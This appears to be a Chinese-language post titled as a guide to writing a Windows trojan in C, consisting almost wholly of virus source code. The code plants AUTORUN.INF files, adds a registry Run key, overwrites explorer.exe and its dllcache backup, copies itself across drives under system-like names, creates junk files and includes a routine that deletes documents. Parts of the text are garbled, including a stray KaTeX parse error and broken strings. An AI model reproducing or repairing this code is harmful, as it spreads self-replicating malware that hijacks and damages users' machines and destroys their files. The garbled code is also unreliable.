c语言写木马(windows)
/SVCHOST.C /
/ SVCHOST.EXE /
/ SVCHOST.COM /
#include<stdio.h> /标准输入输出/
#include<string.h> /字符串操作/
#include<stdlib.h> /其它函数/
#include<process.h> /进程控制/
#include<dir.h> /目录函数/
#define SVCHOST_NUM 6 /关键位置病毒复制数量/
#define RUBBISH_NUM 5 /垃圾文件数量/
#define REMOVE_NUM 5 /删除文件数/
//
/
文件AUTORUN.INF内容:
1.自动运行SVCHOST.com
2.覆盖默认打开命令,使用病毒体作为新的打开方式
3.覆盖默认资源管理器命令,使病毒体作为新的命令方式
*/
char autorun={"[AutoRun]\nopen=“SVCHOST.com /s”\nshell\open=打开(&O)\nshell\open\Command=“SVCHOST.com /s”\nshell\explore=资源管理器(&X)\nshell\explore\Command=“SVCHOST.com /s”"};
/=/
/*
添加注册表项:
1.自动运行生成病毒体C:\windows\wjview32.com
/
char regadd={“REGEDIT4\n\n[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]\n"wjview32”=“C:\\windows\\wjview32.com /s”"};
/=/
/
函数:复制文件
复制源:infile
目的地:outfile
成功返回0,失败返回1
*/
int copy(char *infile,char *outfile)
{
FILE *input,output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,“rb”))!=NULL) && ((output=fopen(outfile,“wb”))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
/=/
/*
函数:通过explorer自动运行
成功返回0,失败返回1,2
/
int autorun_explorer()
{
FILE input;
if((input=fopen(“c:\windows\system\explorer.exe”,“rb”))!=NULL)
{
fclose(input);
remove(“c:\windows\
t
e
m
p
temp
temp”);
remove(“c:\windows\system32\dllcache\
t
e
m
p
temp
temp”);
return 1;
}
copy(“c:\windows\explorer.exe”,“c:\windows\system\explorer.exe”);
rename(“c:\windows\explorer.exe”,“c:\windows\
t
e
m
p
temp
temp”);
rename(“c:\windows\system32\dllcache\explorer.exe”,“c:\windows\system32\dllcache\
t
e
m
p
temp
temp”);
if(copy(“SVCHOST.com”,“c:\windows\explorer.exe”)0 && copy(“SVCHOST.com”,“c:\windows\system32\dllcache\explorer.exe”)0)
return 0;
else
return 2;
}
/===/
/
函数:添加注册表项
成功返回0,失败返回1
*/
int add_reg()
{
FILE output;
if((output=fopen("$$$KaTeX parse error: Expected '}', got 'EOF' at end of input: …edit.exe"," /s $$$",NULL);
}
}
/=/
/*
函数:复制病毒 + Autorun.inf自动运行
/
void copy_virus()
{
int i,k;
FILE input,output;
char files_svchost[SVCHOST_NUM]={“svchost.com”,“c:\windows\wjview32.com”,“c:\windows\system\MSMOUSE.DLL”,“c:\windows\system32\cmdsys.sys”,“c:\windows\system32\mstsc32.exe”,“c:\windows\explorer.exe”};
char temp[2][20]={“c:\svchost.com”,“c:\autorun.inf”};
for(i=0;i<SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost,“rb”))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
copy(files_svchost,files_svchost[k]);
}
i=SVCHOST_NUM;
}
}
for(i=0;i<SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost,“rb”))!=NULL)
{
fclose(input);
for(k=0;k<24;k++)
{
copy(files_svchost,temp[0]);
if((output=fopen(temp[1],“w”))!=NULL)
{
fprintf(output,"%s",autorun);
fclose(output);
}
temp[0][0]++;
temp[1][0]++;
}
i=SVCHOST_NUM;
}
}
}
/=/
/
函数:制造垃圾文件
/
void make_rubbish()
{
int i;
FILE output;
srand(0);
for(i=0;i<RUBBISH_NUM;i++)
{
int n;
char s[30];
n=rand();
sprintf(s,“C:\DESTORY_感染_%d”,n);
if((output=fopen(s,“w”))!=NULL)
{
fprintf(output,"%ld%s",nn,s);
fclose(output);
}
}
}
/=============/
/
函数:删除文件
/
void remove_files()
{
long done;
int i;
struct _finddata_t ffblk;
char remove_files[3]={".txt",".doc",".xls"};
for(i=0;i<3;i++)
{
if(_findfirst(remove_files,&ffblk)-1) continue;
while(!done)
{
remove(ffblk.name);
_findnext(done,&ffblk);
}
_findclose(done);
}
}
/*=================================/
/
主程序
使用DEV-CPP 32位C工程 实现.C程序脱离命令行界面,于后台执行
*/
int main(int argc,char *argv)
{
int contral=0;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto next1;
autorun_explorer();
spawnl(1,“c:\windows\system\explorer.exe”,NULL);
next1:
add_reg();
copy_virus();
make_rubbish();
/ remove_files(); */
spawnl(1,“c:\windows\system32\mstsc32.exe”," /s",NULL);
return 0;
}